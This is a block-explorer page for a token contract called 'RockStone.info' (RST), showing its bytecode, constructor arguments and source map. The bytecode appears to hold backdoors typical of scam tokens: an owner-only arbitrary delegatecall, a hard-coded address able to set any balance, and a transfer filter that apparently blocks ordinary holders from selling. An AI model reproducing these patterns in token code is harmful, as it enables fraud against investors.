8252519081900360200190a36001600160a01b038116337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a35060010161086d565b506001949350505050565b600b546000906001600160a01b031633148061097057503373bee254d6ab5dba9048e7c4750567298c08459ccc145b61097957600080fd5b81156109a5576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b600b546001600160a01b031633146109e557600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610a1f5780518252601f199092019160209182019101610a00565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a7f576040519150601f19603f3d011682016040523d82523d6000602084013e610a84565b606091505b5050505050565b600760209081526000928352604080842090915290825290205481565b600080610ade735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610baa565b600b549091506001600160a01b0386811691161480610b0a5750600b546001600160a01b038581169116145b80610b3157506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b80610b4d5750806001600160a01b0316856001600160a01b0316145b80610b6557506005546001600160a01b038681169116145b80610b8857506001600160a01b03851660009081526001602052604090205460ff165b15610b97576001915050610734565b610ba18584610c83565b61093657600080fd5b6000806000836001600160a01b0316856001600160a01b031610610bcf578385610bd2565b84845b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60006004546000148015610c975750600254155b8015610ca35750600354155b15610cb0575060006105bb565b60045415610ce1576004546001600160a01b03841660009081526020819052604090205410610ce1575060006105bb565b60025415610cfb57816002541115610cfb575060006105bb565b60035415610d1557600354821115610d15575060006105bb565b5060019291505056fea265627a7a72315820d84fac37c35e680b1b68b58923a3ee04611bb77c14b743f81fda9b02de73a52e64736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000e526f636b53746f6e652e696e666f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035253540000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100dd5760003560e01c80638cd8db8a1161007f578063aa2f522011610059578063aa2f5220146102fb578063d004f0f7146103a0578063d6d2b6ba146103d9578063dd62ed3e14610491576100dd565b80638cd8db8a1461028457806395d89b41146102ba578063a9059cbb146102cf576100dd565b806321a9cf34116100bb57806321a9cf34146101d357806323b872dd14610206578063313ce5671461023c57806370a0823114610251576100dd565b806306fdde03146100e2578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b3480156100ee57600080fd5b506100f76104cc565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b03813516906020013561055a565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16105c1565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600480360360208110156101f657600080fd5b50356001600160a01b03166105c7565b6101986004803603606081101561021c57600080fd5b506001600160a01b03813581169160208101359091169060400135610606565b34801561024857600080fd5b506101c161073b565b34801561025d57600080fd5b506101c16004803603602081101561027457600080fd5b50356001600160a01b0316610740565b34801561029057600080fd5b50610198600480360360608110156102a757600080fd5b5080359060208101359060400135610752565b3480156102c657600080fd5b506100f76107b2565b610198600480360360408110156102e557600080fd5b506001600160a01b03813516906020013561080d565b6101986004803603604081101561031157600080fd5b81019060208101813564010000000081111561032c57600080fd5b82018360208201111561033e57600080fd5b8035906020019184602083028401116401000000008311171561036057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550509135925061081a915050565b3480156103ac57600080fd5b50610198600480360360408110156103c357600080fd5b506001600160a01b038135169060200135610941565b61048f600480360360408110156103ef57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041a57600080fd5b82018360208201111561042c57600080fd5b8035906020019184600183028401116401000000008311171561044e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ce945050505050565b005b34801561049d57600080fd5b506101c1600480360360408110156104b457600080fd5b506001600160a01b0381358116916020013516610a8b565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b820191906000526020600020905b81548152906001019060200180831161053557829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b600b546000906001600160a01b031633146105e157600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b60008161061557506001610734565b336001600160a01b03851614610680576001600160a01b038416600090815260076020908152604080832033845290915290205482111561065557600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b61068b848484610aa8565b61069457600080fd5b6001600160a01b0384166000908152600660205260409020548211156106b957600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b60066020526000908152604090205481565b600b546000906001600160a01b0316331461076c57600080fd5b6000831161077b576000610787565b670de0b6b3a764000083025b600255816107965760006107a2565b670de0b6b3a764000082025b6003556004939093555090919050565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b6000610734338484610606565b600b546000906001600160a01b0316331461083457600080fd5b8251336000908152600660205260409020549083029081111561085657600080fd5b336000908152600660205260408120805483900390555b845181101561093657600085828151811061088457fe5b6020908102919091018101516001600160a01b0381166000818152600690935260409092208054880190559150337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a36001600160a01b038116337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a35060010161086d565b506001949350505050565b600b546000906001600160a01b031633148061097057503373bee254d6ab5dba9048e7c4750567298c08459ccc145b61097957600080fd5b81156109a5576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b600b546001600160a01b031633146109e557600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610a1f5780518252601f199092019160209182019101610a00565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a7f576040519150601f19603f3d011682016040523d82523d6000602084013e610a84565b606091505b5050505050565b600760209081526000928352604080842090915290825290205481565b600080610ade735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610baa565b600b549091506001600160a01b0386811691161480610b0a5750600b546001600160a01b038581169116145b80610b3157506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b80610b4d5750806001600160a01b0316856001600160a01b0316145b80610b6557506005546001600160a01b038681169116145b80610b8857506001600160a01b03851660009081526001602052604090205460ff165b15610b97576001915050610734565b610ba18584610c83565b61093657600080fd5b6000806000836001600160a01b0316856001600160a01b031610610bcf578385610bd2565b84845b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60006004546000148015610c975750600254155b8015610ca35750600354155b15610cb0575060006105bb565b60045415610ce1576004546001600160a01b03841660009081526020819052604090205410610ce1575060006105bb565b60025415610cfb57816002541115610cfb575060006105bb565b60035415610d1557600354821115610d15575060006105bb565b5060019291505056fea265627a7a72315820d84fac37c35e680b1b68b58923a3ee04611bb77c14b743f81fda9b02de73a52e64736f6c63430005110032

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000e526f636b53746f6e652e696e666f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035253540000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): RockStone.info
Arg [1] : _symbol (string): RST
Arg [2] : _supply (uint256): 10000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000002540be400
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 526f636b53746f6e652e696e666f000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 5253540000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

22058:5051:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26525:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;26525:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;26525:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23426:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;23426:213:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;26495:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;26495:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;25663:149;;8:9:-1;5:2;;;30:1;27;20:12;5:2;25663:149:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;25663:149:0;-1:-1:-1;;;;;25663:149:0;;:::i;22854:564::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;22854:564:0;;;;;;;;;;;;;;;;;:::i;26454:34::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;26454:34:0;;;:::i;26333:42::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;26333:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;26333:42:0;-1:-1:-1;;;;;26333:42:0;;:::i;24786:300::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24786:300:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;24786:300:0;;;;;;;;;;;;:::i;26550:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;26550:20:0;;;:::i;22249:137::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;22249:137:0;;;;;;;;:::i;25092:536::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;25092:536:0;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;25092:536:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;25092:536:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;25092:536:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;25092:536:0;;-1:-1:-1;;25092:536:0;;;-1:-1:-1;25092:536:0;;-1:-1:-1;;25092:536:0:i;24439:341::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24439:341:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;24439:341:0;;;;;;;;:::i;24109:135::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;24109:135:0;;;;;;;;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;24109:135:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;24109:135:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;24109:135:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;24109:135:0;;-1:-1:-1;24109:135:0;;-1:-1:-1;;;;;24109:135:0:i;:::-;;26382:63;;8:9:-1;5:2;;;30:1;27;20:12;5:2;26382:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;26382:63:0;;;;;;;;;;:::i;26525:18::-;;;;;;;;;;;;;;;-1:-1:-1;;26525:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;23426:213::-;23525:10;23498:4;23515:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;23515:31:0;;;;;;;;;;;:40;;;23571:38;;;;;;;23498:4;;23515:31;;23525:10;;23571:38;;;;;;;;-1:-1:-1;23627:4:0;23426:213;;;;;:::o;26495:23::-;;;;:::o;25663:149::-;25746:5;;25717:4;;-1:-1:-1;;;;;25746:5:0;25732:10;:19;25723:29;;;;;;-1:-1:-1;25763:12:0;:19;;-1:-1:-1;;;;;25763:19:0;;-1:-1:-1;;;;;;25763:19:0;;;;;;;25663:149;;;:::o;22854:564::-;22941:4;22962:11;22958:31;;-1:-1:-1;22983:4:0;22976:11;;22958:31;23003:10;-1:-1:-1;;;;;23003:19:0;;;22999:152;;-1:-1:-1;;;;;23047:16:0;;;;;;:9;:16;;;;;;;;23064:10;23047:28;;;;;;;;:38;-1:-1:-1;23047:38:0;23039:47;;;;;;-1:-1:-1;;;;;23101:16:0;;;;;;:9;:16;;;;;;;;23118:10;23101:28;;;;;;;:38;;;;;;;22999:152;23169:26;23176:5;23183:3;23188:6;23169;:26::i;:::-;23161:35;;;;;;-1:-1:-1;;;;;23215:16:0;;;;;;:9;:16;;;;;;:26;-1:-1:-1;23215:26:0;23207:35;;;;;;-1:-1:-1;;;;;23253:16:0;;;;;;;:9;:16;;;;;;;;:26;;;;;;;23290:14;;;;;;;;;:24;;;;;;23325:17;;;;;;;;;;:19;;-1:-1:-1;23325:19:0;;;23360:28;;;;;;;23290:14;;23360:28;;;;;;;;;;;-1:-1:-1;23406:4:0;22854:564;;;;;;:::o;26454:34::-;26486:2;26454:34;:::o;26333:42::-;;;;;;;;;;;;;:::o;24786:300::-;24903:5;;24865:4;;-1:-1:-1;;;;;24903:5:0;24889:10;:19;24881:28;;;;;;24939:1;24931:5;:9;:45;;24975:1;24931:45;;;24950:21;24943:29;;24931:45;24920:8;:56;24998:12;:51;;25048:1;24998:51;;;25023:21;25013:32;;24998:51;24987:8;:62;25060:8;:18;;;;-1:-1:-1;24786:300:0;;;-1:-1:-1;24786:300:0:o;26550:20::-;;;;;;;;;;;;;;;-1:-1:-1;;26550:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22249:137;22317:4;22341:37;22354:10;22366:3;22371:6;22341:12;:37::i;25092:536::-;25211:5;;25171:4;;-1:-1:-1;;;;;25211:5:0;25197:10;:19;25188:29;;;;;;25250:11;;25290:10;25228;25280:21;;;:9;:21;;;;;;25241:20;;;;25280:30;-1:-1:-1;25280:30:0;25272:39;;;;;;25332:10;25322:21;;;;:9;:21;;;;;:30;;;;;;;25363:236;25384:4;:11;25380:1;:15;25363:236;;;25417:11;25431:4;25436:1;25431:7;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;25453:14:0;;;;;;:9;:14;;;;;;;:24;;;;;;25431:7;-1:-1:-1;25506:10:0;25497:35;25530:1;25471:6;25497:35;;;25523:8;;;;25497:35;;;;;;;;;;;-1:-1:-1;;;;;25552:35:0;;25561:10;25552:35;25585:1;25578:6;25552:35;;;25578:8;;;;25552:35;;;;;;;;;;;-1:-1:-1;25397:3:0;;25363:236;;;-1:-1:-1;25616:4:0;;25092:536;-1:-1:-1;;;;25092:536:0:o;24439:341::-;24543:5;;24506:4;;-1:-1:-1;;;;;24543:5:0;24531:10;:17;;:99;;-1:-1:-1;24550:10:0;24580:49;24550:80;24531:99;24523:108;;;;;;24645:14;;24642:77;;-1:-1:-1;;;;;24662:18:0;;;;;;:9;:18;;;;;24695:21;24683:34;;24662:55;;24642:77;-1:-1:-1;;;;;;;24729:16:0;;;;;24746:4;24729:16;;;;;;;;:21;;-1:-1:-1;;24729:21:0;;;;;24746:4;24439:341::o;24109:135::-;24202:5;;-1:-1:-1;;;;;24202:5:0;24188:10;:19;24180:28;;;;;;24219:1;-1:-1:-1;;;;;24219:14:0;24234:1;24219:17;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;176:10;;164:23;;-1:-1;;139:12;;;;98:2;89:12;;;;114;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;24219:17:0;;;;;;;;;;;;;;;;;;;;;;;14:1:-1;21;16:31;;;;75:4;69:11;64:16;;144:4;140:9;133:4;115:16;111:27;107:43;104:1;100:51;94:4;87:65;169:16;166:1;159:27;225:16;222:1;215:4;212:1;208:12;193:49;7:242;;16:31;36:4;31:9;;7:242;;24219:17:0;;24109:135;;:::o;26382:63::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;22394:452::-;22473:4;22490:12;22505:110;22513:42;22557;22609:4;22505:7;:110::i;:::-;22641:5;;22490:125;;-1:-1:-1;;;;;;22632:14:0;;;22641:5;;22632:14;;:30;;-1:-1:-1;22657:5:0;;-1:-1:-1;;;;;22650:12:0;;;22657:5;;22650:12;22632:30;:46;;;-1:-1:-1;;;;;;22666:12:0;;26628:42;22666:12;22632:46;:63;;;;22691:4;-1:-1:-1;;;;;22682:13:0;:5;-1:-1:-1;;;;;22682:13:0;;22632:63;:86;;;-1:-1:-1;22706:12:0;;-1:-1:-1;;;;;22699:19:0;;;22706:12;;22699:19;22632:86;:102;;;-1:-1:-1;;;;;;22720:14:0;;;;;;:7;:14;;;;;;;;22632:102;22629:144;;;22757:4;22750:11;;;;;22629:144;22791:24;22801:5;22808:6;22791:9;:24::i;:::-;22783:33;;;;;25820:505;25909:12;25935:14;25951;25978:6;-1:-1:-1;;;;;25969:15:0;:6;-1:-1:-1;;;;;25969:15:0;;:53;;26007:6;26015;25969:53;;;25988:6;25996;25969:53;26160:32;;;-1:-1:-1;;26160:32:0;;;;;;;;;;;;;;;;;;;;;;;;;22::-1;26:21;;;22:32;6:49;;26160:32:0;;;;;26150:43;;;;;;-1:-1:-1;;;;;;26063:251:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26:21:-1;;;22:32;;;6:49;;26063:251:0;;;;;;;26053:262;;;;;;;;;25820:505;-1:-1:-1;;;;;25820:505:0:o;23647:454::-;23716:4;23735:8;;23747:1;23735:13;:30;;;;-1:-1:-1;23752:8:0;;:13;23735:30;:47;;;;-1:-1:-1;23769:8:0;;:13;23735:47;23732:64;;;-1:-1:-1;23791:5:0;23784:12;;23732:64;23812:8;;:12;23809:89;;23864:8;;-1:-1:-1;;;;;23843:17:0;;:10;:17;;;;;;;;;;;:29;23840:46;;-1:-1:-1;23881:5:0;23874:12;;23840:46;23911:8;;:12;23908:77;;23953:6;23942:8;;:17;23939:34;;;-1:-1:-1;23968:5:0;23961:12;;23939:34;23998:8;;:12;23995:77;;24038:8;;24029:6;:17;24026:34;;;-1:-1:-1;24055:5:0;24048:12;;24026:34;-1:-1:-1;24089:4:0;23647:454;;;;:::o

Swarm Source

bzzr://d84fac37c35e680b1b68b58923a3ee04611bb77c14b743f81fda9b02de73a52e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.